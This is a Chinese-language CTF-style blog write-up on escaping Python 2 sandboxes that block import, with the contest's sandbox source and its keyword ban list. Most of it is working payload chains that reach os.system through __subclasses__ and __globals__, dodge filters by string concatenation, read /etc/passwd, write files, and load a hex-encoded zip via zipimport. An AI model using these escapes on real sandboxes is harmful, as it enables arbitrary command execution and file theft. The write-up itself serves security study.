禁用import的情況下繞過python沙箱
來自專欄 安全客
本文總結一些python沙盒在禁用了
import
,__import__
,無法導入模塊的情況下沙盒繞過的一些方法, 國賽上出了一道python沙盒的題,做了一天沒做出來, 讓我知道我對python一無所知, 於是總結了一篇文章,大佬勿噴.
basic
- 在Python里,這段
[].__class__.__mro__[-1].__subclasses__()
魔術代碼,不用import任何模塊,但可調用任意模塊的方法。
2 查看Python版本
Python2.x和Python3.x有一些區別,Bypass前最好知道Python版本。我們知道,sys.version可以查看python版本。>>> import sys>>> sys.version2.7.10 (default, Oct 23 2015, 19:19:21) n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (
- 查看當前內存空間可以調用的函數
print __builtins__dir()dir(__builtins__)
trick1
內置函數,可以通過dir(__builtins__)
看看有哪些內置函數可以利用的.
eval: eval(import("os").system("ls"))input: import(os).system(ls)open,file: file(/etc/passwd).read() open(/etc/passwd).read()exec : exec("__import__(os).system(ls)");execfile: 載入文件進內,相當於from xx import *execfile(/usr/lib/python2.7/os.py) system(ls)map 回調函數map(os.system,[ls])
trick2
__globals__
:該屬性是函數特有的屬性,記錄當前文件全局變數的值,如果某個文件調用了os,sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用__globals__
屬性訪問全局的變數
>>> a = lambda x:x+1>>> dir(a)[__call__, __class__, __closure__, __code__, __defaults__, __delattr__, __dict__, __doc__, __format__, __get__, __getattribute__, __globals__, __hash__, __init__, __module__, __name__, __new__, __reduce__, __reduce_ex__, __repr__, __setattr__, __sizeof__, __str__, __subclasshook__, func_closure, func_code, func_defaults, func_dict, func_doc, func_globals, func_name]>>> a.__globals__{__builtins__: <module __builtin__ (built-in)>, __name__: __main__, __doc__: None, a: <function <lambda> at 0x7fcd7601ccf8>, __package__: None}>>> a.func_globals{__builtins__: <module __builtin__ (built-in)>, __name__: __main__, __doc__: None, a: <function <lambda> at 0x7f1095d72cf8>, __package__: None}(lambda x:1).__globals__[__builtins__].eval("__import__(os).system(ls)")
我們看到__globals__
是一個字典,默認有__builtins__
對象,另外funcglobals和`_globals` 作用一樣
在python sandbox中一般會過濾__builtins__
內容,這樣globals裡面的__builtins__
也就沒有什麼意義了,即使重新import __builtin__
還是一樣.
2.1 執行系統命令
在python2.7.10里,
[].class.base.subclasses()
裡面有很多庫調用了我們需要的模塊os
/usr/lib/python2.7/warning.py58 <class warnings.WarningMessage>59 <class warnings.catch_warnings>/usr/lib/python2.7/site.py71 <class site._Printer>72 <class site._Helper>76 <class site.Quitter>
我們來看一下/usr/lib/python2.7/warning.py
導入的模塊
import linecacheimport sysimport types
跟蹤linecache文件/usr/lib/python2.7/linecache.py
import sysimport os
OK,調用了os,可以執行命令,於是一個利用鏈就可以構造了:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__[linecache].__dict__[os].system(ls)[].__class__.__base__.__subclasses__()[59].__init__.func_globals[linecache].__dict__.values()[12].system(ls)
dict和globals都是字典類型,用[]鍵值對訪問,也可以通過values(),keys()這樣的方法來轉換成list,通過下標來訪問
還要大佬給了一個不需要利用__globals__
就可以執行命令的payload:
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system(ls)
我們來在來看一下/usr/lib/python2.7/site.py
導入的模塊
import sysimport osimport __builtin__import traceback
直接構造:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__[os].system(ls)
2.2 禁用了globals如何繞過
在今年國賽上有一道run的沙盒繞過的題目,白名單過濾了import
導入的內容, 禁用了ls,即__globals__
用不了了,想了很多其他方式都沒有繞過去,賽後才知道的方法,這裡也寫一下
繞過方法就是利用類的一些描述器方法
__getattribute__
:
當訪問 某個對象的屬性時,會無條件的調用這個方法。比如調用t.__dict__
,其實執行了t.__getattribute__("__dict__")
函數, 這個方法只適用於新式類。
新式類就是集成自object或者type的類。
於是我們就可以利用__init__.__getattribute__(__global+s__)
拼接字元串的方法來繞過ls的關鍵字 而不是直接調用__init__.__globals__
最終的payload為:
print [].__class__.__mro__[-1].__subclasses__()[71].__init__.__getattribute__(__global+s__)[o+s].__dict__[sy+stem](ca+t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb)
有點不明白的就是下面這條命令執行不了,不知道為什麼,本機上是可以執行的,不然也是完全可以繞過所有關鍵字的.
[].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__[o+s].__dict__[sy+stem](l+s)
還有兩個描述器方法和這個方法類似,但還是有區別的
__getattr__
: 只有getattribute找不到的時候,才會調用getattr.
__get__
: 當函數被當作屬性訪問時,它就會把函數變成一個實例方法。
run這題的源碼如下,有興趣的可以研究一下
sandbox.py
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Date : 2018-04-09 23:30:58# @Author : Xu (you@example.org)# @Link : https://xuccc.github.io/# @Version : $Id$from sys import modulesfrom cpython import get_dictfrom types import FunctionTypemain = modules[__main__].__dict__origin_builtins = main[__builtins__].__dict__def delete_type(): type_dict = get_dict(type) del type_dict[__bases__] del type_dict[__subclasses__]def delete_func_code(): func_dict = get_dict(FunctionType) del func_dict[func_code]def safe_import(__import__,whiteList): def importer(name,globals={},locals={},fromlist=[],level=-1): if name in whiteList: return __import__(name,globals,locals,fromlist,level) else: print "HAHA,[%s] has been banned~" % name return importerclass ReadOnly(dict): """docstring for ReadOnlu""" def __delitem__(self,keys): raise ValueError(":(") def pop(self,key,default=None): raise ValueError(":(") def popitem(self): raise ValueError(":(") def setdefault(self,key,value): raise ValueError(":(") def __setitem__(self,key,value): raise ValueError(":(") def __setattr__(self, name, value): raise ValueError(":(") def update(self,dict,**kwargs): raise ValueError(":(") def builtins_clear(): whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ") for mod in __builtins__.__dict__.keys(): if mod not in whiteList: del __builtins__.__dict__[mod]def input_filter(string): ban = "exec eval pickle os subprocess input sys ls cat".split(" ") for i in ban: if i in string.lower(): print "{} has been banned!".format(i) return "" return string# delete_type();del delete_typedelete_func_code();del delete_func_codebuiltins_clear();del builtins_clearwhiteMod = []origin_builtins[__import__] = safe_import(__import__,whiteMod)safe_builtins = ReadOnly(origin_builtins);del ReadOnlymain[__builtins__] = safe_builtins;del safe_builtinsdel get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionTypedel __builtins__, __doc__, __file__, __name__, __package__print """ ____ | _ _ _ _ __ | |_) | | | | _ | _ <| |_| | | | | |_| _\__,_|_| |_| Escape from the dark house built with python :)Try to getshell then find the flag!"""while 1: inp = raw_input(>>>) cmd = input_filter(inp) try: exec cmd except NameError, e: print "wow something lose!We cant find it ! D:" except SyntaxError,e: print "Noob! Synax Wrong! :(" except Exception,e: print "unknow error,try again :>"
cpython
from ctypes import pythonapi,POINTER,py_object_get_dict = pythonapi._PyObject_GetDictPtr_get_dict.restype = POINTER(py_object)_get_dict.argtypes = [py_object]del pythonapi,POINTER,py_objectdef get_dict(ob): return _get_dict(ob).contents.value
trick3: 調用file函數讀寫文件
().__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read() //調用file子類().__class__.__mro__[-1].__subclasses__()[40](/tmp/1).write("11") //寫文件
trick4: zipimport.zipimporter
55 <type zipimport.zipimporter>
我們查看zipimport的幫助手冊,發現有個load_module函數,可以導入相關文件到內存中
| load_module(...) | load_module(fullname) -> module. | | Load the module specified by fullname. fullname must be the | fully qualified (dotted) module name. It returns the imported | module, or raises ZipImportError if it wasnt found.
於是我們可以先製作一個包含payload的zip文件:
import osprint os.system(cat *)
利用file函數寫入zip到/tmp/
目錄下,然後再調用zipimport.zipimporter導入zip文件中的內容到內存,構造利用鏈如下:
v = ().__class__.__mro__[-1].__subclasses__()a = "x50x4bx03x04x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x7ax2ex70x79xcbxccx2dxc8x2fx2ax51xc8x2fxe6x2ax28xcaxccx03x31xf4x8ax2bx8bx4bx52x73x35xd4x93x13x4bx14xb4xd4x35xb9x00x50x4bx01x02x3fx03x14x03x00x00x08x00xcexadxa4x42x5ex13x60xd0x22x00x00x00x23x00x00x00x04x00x00x00x00x00x00x00x00x00x20x80xa4x81x00x00x00x00x7ax2ex70x79x50x4bx05x06x00x00x00x00x01x00x01x00x32x00x00x00x44x00x00x00x00x00"v[40](/tmp/z,wb).write(a)v[55](/tmp/z).load_module(z)
缺點: 需要導入zlib庫,如果無法導入的話,該方法失效
參考
https://zolmeister.com/2013/05/escaping-python-sandbox.html
https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483665&idx=1&sn=4b18de09738fdc5291634db1ca2dd55a
作者:rivir
推薦閱讀:
※Python3《機器學習實戰》學習筆記(九):支持向量機實戰篇之再撕非線性SVM
※Python新階段
※winpython, anaconda 哪個更好?
※由淺入深寫代理(4)-socks5-代理
※Python-numpy包中多維數組轉置,transpose.swapaxes的軸編號(axis)如何理解?